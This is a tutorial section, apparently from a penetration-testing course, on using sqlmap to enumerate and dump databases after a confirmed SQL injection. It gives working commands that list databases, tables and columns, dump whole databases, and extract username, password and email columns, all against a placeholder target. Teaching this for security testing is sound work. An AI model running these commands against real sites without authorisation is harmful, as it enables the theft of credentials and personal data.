SQLMap Section 4 of 13

Database Enumeration

Once SQL injection is confirmed, enumerate the database structure step by step.

Enumeration Workflow

1

List Databases

Enumerate all database names

bash
1sqlmap -u "http://target.com?id=1" --dbs
2

List Tables

Show tables in a specific database

bash
1sqlmap -u "http://target.com?id=1" -D database_name --tables
3

List Columns

Show columns in a specific table

bash
1sqlmap -u "http://target.com?id=1" -D database_name -T table_name --columns
4

Dump Data

Extract all data from a table

bash
1sqlmap -u "http://target.com?id=1" -D database_name -T table_name --dump

Dump All Databases

Extract everything at once (use with caution):

bash
1sqlmap -u 'http://target.com?id=1' --dump-all

Target Specific Columns

Dump only specific columns:

bash
1sqlmap -u 'http://target.com?id=1' -D mydb -T users -C username,password,email --dump

Force Current Database

Skip database enumeration if you know the name:

bash
1sqlmap -u 'http://target.com?id=1' --current-db